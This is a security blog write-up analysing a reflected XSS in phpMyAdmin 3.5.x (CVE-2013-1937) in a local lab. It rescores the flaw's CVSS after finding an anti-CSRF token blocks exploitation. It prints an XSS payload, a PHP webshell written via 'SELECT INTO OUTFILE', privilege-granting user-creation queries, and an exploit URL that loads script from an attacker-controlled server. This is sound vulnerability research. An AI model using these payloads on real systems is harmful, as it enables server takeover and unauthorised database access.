Wednesday, February 6, 2019

PHPMyAdmin 3.5.X-3.5.8 Reflected XSS: What could have been, but really wasn't.

(This blog post is from Leff (Lautaro Fain), one of our consultants, and I asked him to do a special project, as documented below.)

1. Introduction

A few days ago Dave asked me to take advantage of a known vuln affecting PHPMyAdmin MySQL Management Platforms (Versions 3.5.X to 3.5.8) in order to gain a Web Shell or Admin Rights Access to the server. It was nothing more than a common Reflected Cross-Site Scripting issue taking place in an ‘in attribute’ context. The vuln is conveniently described in the links below:

https://www.first.org/cvss/examples#1-phpMyAdmin-Reflected-Cross-site-Scripting-Vulnerability-CVE-2013-1937

https://www.exploit-db.com/exploits/38440

This is the theoretical severity scoring from the team at FIRST:




This document enumerates the ways I tried to exploit this issue, and provides a more accurate ranking of the vulnerability’s technical risk.

2. Exploitation Phase

Taking a closer look at the issue...




As soon as the task was given, I grabbed a vulnerable PHPMyAdmin version (this being 3.5.1, https://www.phpmyadmin.net/files/) and began the installation process in order to make a local lab to test the issue.

Once the ‘server’ was running smoothly (fixed some issues and then ran ‘php -S localhost:8085’ in a terminal), I decided to take a look at the vulnerable files to see by eye if the issue was present.



After reaching the ‘tbl_gis_visualization.php’ file and reading the code, we get to infer that ‘visualizationSettings[‘width’]’ and ‘virtualizationSettings[‘height’]’ parameters are indeed our entrypoint to exploit this vulnerability as they get rendered back in the HTML code without taking any kind of sanitization process.



To keep going forward, we would need to test if the statement provided above is correct and then try to exploit this issue with our bare hands. To first confirm that we are right, a simple XSS Payload (“><script>alert(‘Immunity INC.’)</script>) was provided and executed within the context of an already logged in user (‘root’ in this case).



Analyzing possible attack vectors

It worked as expected - we are for sure facing an ‘In Attribute’ Cross-Site Scripting vulnerability. Now, let's check if we can make some malicious things out of that. For further understanding, let me explain the two most common techniques that are used to take over PHPMyAdmin or MySQL Servers.

a) The ‘SELECT INTO OUTFILE’ technique: So, by its very own nature, PHPMyAdmin gives us the chance to execute SQL Queries through a web interface and, as our objective would be creating a new PHP file that works as Web Shell, this is almost a win-win situation for us. We go straight to the objective and run the necessary queries to check if indeed this can be done from here (‘SELECT "<?php system($_GET['cmd'])?>" INTO OUTFILE "/imm_shell.php";’) but well, it's not that easy.



MySQL Servers have this tiny global variable called ‘secure_file_privs’ which is used to specify which directories the client can write on. Let's take a look at it by using: ‘SELECT @secure_file_privs;’.

HA! Can’t get surprised anymore, this variable is set to ‘NULL’ by default and in real case scenarios, the database admin will set it to allow writing in directories that are NOT exposed to the outside world (like ‘/tmp’ or ‘/custom_dir’ instead of using ‘/var/www’ to create temporary files or storing persistent files). Anyways, as we all know, there can still be some cases where this variable allows MySQL file writing in root web server directories (yes, I'm mentioning ‘/var/www’ again as an example) that can be accessed through the browser which means that this technique (if possible to achieve) will get us an immediate web shell!

But sadly, this is not the case for us, and as this variable cannot be set through PHPMyAdmin (it needs to be changed from the ‘my.ini’ file within the MySQL folder) queries or configuration environments, we can't bypass this.

b) Creating a New Privileged User through SQL Queries: This is another possible attack vector, we can execute the queries needed to create a new user in the database, this user would need to have enough privileges to do the same things as the ‘root’ or ‘admin’ user usually does. Sounds good, let's make it happen (using this query ‘GRANT ALL PRIVILEGES ON *.* TO 'immtest'@'localhost' IDENTIFIED BY 'immtest';’):



Let’s log in with this new credentials, they might work as expected.





Awesome, they do work and have all the possible privileges! But wait, do you remember that we created this user while logged in with the ‘root’ user credentials, right? Not cool - what if during a real case scenario we manage to find credentials that belong to a less privileged user, can we still make this happen? Let's check this with another user, we will create it as a default user and then create a new user with that account.





New user created, as you may have seen, he cannot see anything apart from the classic system tables. Let's suppose we have grabbed his credentials and we want to create a new user, but this time with this ‘immtest_nopriv’ account.





Okay, not surprised again. What is happening here? We cannot create a new user having all the privileges from an account that doesn't have enough privileges to do so, this means, that if the credentials we grabbed are not supposed to create users with the greatest possible privileges (that is set by the database admin) we won't be able to create an user which can do anything else than reading system tables or even, we won't neither be able to create a new user.

So, where do we stand here? Well, we can still make use of our XSS issue to execute queries inside PHPMyAdmin - so let’s create a payload to make that happen!

Creating our payload

For length reasons, this payload will need to be created as a single Javascript file and be served in a malicious server so we can retrieve it when trying to exploit our vulnerability.

To begin, as always, we grab the POST request made from the client side to the server using Burp so we can check the sent parameters and values to replicate that in our code.




We modified the ‘sql_query’ with some SQL Instructions (that being ‘GRANT ALL PRIVILEGES ON *.* TO 'xssuser'@'localhost' IDENTIFIED BY 'xssuser';’) parameter to check if everything runs smoothly and we can indeed send whatever query we want to the server side.



Awesome, the user we created now exists, this means that all works as expected. Let’s dive into the Javascript code creation.




Some explanation might come in handy, so i will enumerate some of the payload behaviour below:

  1. We need to grab the victim’s token before doing any request, it works as a ‘csrf’ and sort of session token as once (despite PHPMyAdmin also using the widely known ’phpMyAdmin’ cookie). That's what the first line does, we dynamically retrieve that from a hidden input in the vulnerable web page using javascript.
  2. The desired query to execute is specified on the second line.
  3. We replicated the HTTP POST Request  body, so the server gets what it expects and nothing more than that (third line).
  4. The target endpoint is set at the sixth line.
  5. And finally, we use JavaScript built in ‘fetch’ function to make an HTTP POST request that bypasses CORS and then sends another GET request to our malicious server specifying the response status as an endpoint.

As you might expected, this is not a difficult thing to do. We can now exploit this vulnerability referencing our malicious code.

Yay! Time to exploit this thing!


We change the ‘sql_query’ parameter to hold whatever we want to, this time, i will create another user called ‘leff_exploit_test’ to check that it works.



After hosting the file in our malicious server, and exploiting the scenario (we got 200 as a HTTP Status!) we can test if the user was indeed created.







Awesome, this worked! This is a Reflected XSS Vulnerability, we will use this to make victims execute arbitrary Javascript code within their browser when clicking a specially crafted link. Let’s try that!

3. Showstopper realizations


Time to reach the finish line, this link will be the one that triggers the exploit we made:


http://localhost:8085/tbl_gis_visualization.php?db=information_schema&token=550a80691c075e6b4a4e0c9f410a1db4&visualizationSettings[width]=%22%3E%3Cscript%20src=%22http://localhost:5555/test.js%22%3E%3C/script%3E


But wait, did you notice something? The token value also travels in the GET request. THAT’S NOT GOOD! We cannot exploit that, since that that token belongs to the user himself and there’s no way we can retrieve it before crafting the malicious url (at least in the position we are now). We can try some things to see if the server does not enforce proper checks to that attribute. Can we send requests to the server without providing the correct token or not providing a token at all? Common tests involve:

  1. Sending an empty token parameter.
  2. Sending a badly crafted token parameter.
  3. Not sending the token parameter.
  4. Sending the token parameter as an array type parameter (Just for PHP Servers).
  5. Sending the token parameter holding a null value.












After trying all of these options none of them seemed to work as our malicious server didn’t get involved in any request. It was still immutable since the first time we exploited the issue.



There is still one more thing to check - is this token predictable? If so, we might still have a chance to abuse this issue, lets search the code that generates this attribute value. Following its trail led us to the ‘url_generating.lib.php’ file, seems that the actual token value is being retrieved from the session object, and so on, created there.



We need to search for ‘PMA_token’ instead of the ‘token’ word now.



So, we found this again, but if you look carefully, the token is crafted in the following way:

  1. rand() is called with no fixed or predictable value as an input, which discards any kind of prediction to know what value can be retrieved from that function call. When called that way, rand() returns a pseudo-random integer between 0 and getrandmax().
  2. The output of that call is passed as an input to uniqid() along with ‘true’ which means that an unique ID will be generated with a length of 23 characters instead of 13, adding even more entropy to the result.
  3. That output is the input of a MD5 hash function and that would be the last value that is assigned to the token
  4. On Windows platforms, there is some discussion of the value of uniqid being predictable to a “second” of resolution, but this does not seem likely to be fruitful with our particular code-path (which has more_entropy=true)

Finally, we can infer this token works as an Anti-CSRF one, and prevents us from crafting malicious links that when clicked will make victims execute our desired MySQL queries on their server.

4. Conclusion

As we seen above, this vulnerability cannot be exploited in the wild as we would need to first predict in some way the necessary token to perform those requests. We will need to reassign a proper CVSS (v2 & v3) Score to each of the cases we have here, being them:
  1. We have the possibility to predict the needed token.
  2. We cannot predict the needed token.
So, before going into that phase, let’s analyze each score metric for each vulnerability case:

CASE A

I will walk you through ‘Case A’ first, a scenario were we can (by some sort of way) predict the token that is needed to perform requests to execute arbitrary MySQL queries in the backend server. For the score calculation we will keep in mind the worst case scenario (or the best for the attacker) which involves a not properly configured backend database and an user who has enough privileges to execute and do whatever he wants there.

As queries can be sent by triggering the XSS, the old ‘SELECT INTO OUTFILE’ technique can also be used to compromise the server with a shell and the attacker will be able to read whatever he wants, dump whatever he wants and modify the integrity of what he wants thus affecting directly the Confidentiality, Integrity and Availability of the whole service. All of this will be triggered after the user clicks the pre-crafted malicious link that the attacker provided. Keep in mind that the potential impact on the database is what increases the severity of the issue itself and that the victim user needs to be logged in when clicking the link (as with any XSS).

CVSS v2.0 (Predictable token);
Overall CVSS Score: 5.6 (AV:N/AC:H/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)

CVSS v3.0 (Predictable token);
Overall CVSS Score: 8.0 (High) (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C)

CASE B

In ‘Case B’, which is the most realistic one, this issue cannot be used to target another user. In the actual conditions this is just a Self-XSS (also known as “not a vulnerability” or CVSS v3.0 score of 0) because we cannot predict the token of the victim user to then use it for the malicious URL crafting process, we can only get access to our token to trigger the vulnerability only in our side once we have already logged in. This bug is not exploitable within the described context. It’s worth noting that at no point does HTTPOnly on the cookie come into our analysis, as mentioned in the original FIRST.org analysis.